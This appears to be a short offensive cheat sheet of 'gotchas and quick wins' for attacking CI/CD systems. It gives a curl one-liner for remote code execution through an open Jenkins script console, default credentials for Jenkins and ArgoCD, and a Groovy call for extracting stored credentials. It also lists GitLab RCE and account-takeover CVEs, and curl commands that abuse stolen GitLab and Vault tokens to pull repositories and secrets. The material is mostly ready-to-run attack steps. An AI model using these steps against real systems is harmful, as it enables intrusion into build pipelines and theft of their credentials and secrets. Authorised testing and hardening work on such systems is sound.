CI/CD — Gotchas & Quick Wins

Jenkins = RCE if /script is open

curl -d 'script=println+"id".execute().text' http://TARGET:8080/script No auth needed if Groovy console is exposed. Check /script FIRST. Default creds: admin/admin, admin/password, admin/jenkins. Credential extraction (authenticated): Groovy → SystemCredentialsProvider.getInstance().getCredentials().

GitLab — version-dependent RCE

• CVE-2021-22205 (11.9–13.10.3): RCE via image upload (ExifTool)
• CVE-2023-7028: Account takeover via password reset Check version: curl -s TARGET/api/v4/version Stolen API token → curl -H "PRIVATE-TOKEN: ..." .../api/v4/projects?membership=true → repos/snippets for secrets.

ArgoCD default creds

Default: admin / pod name (argocd-server-<hash>). Often unchanged.

Vault — check seal status first

curl TARGET:8200/v1/sys/health — unsealed + initialized = live secrets. With root token: curl -H "X-Vault-Token: ..." TARGET:8200/v1/secret/data/

Where secrets leak

• Build/pipeline logs (plaintext env vars, tokens, passwords)
• .env, docker-compose.yml, Jenkinsfile, .gitlab-ci.yml in repos
• Runner/agent tokens in pod environments
• Registry credentials (Docker Hub, ECR, GCR)
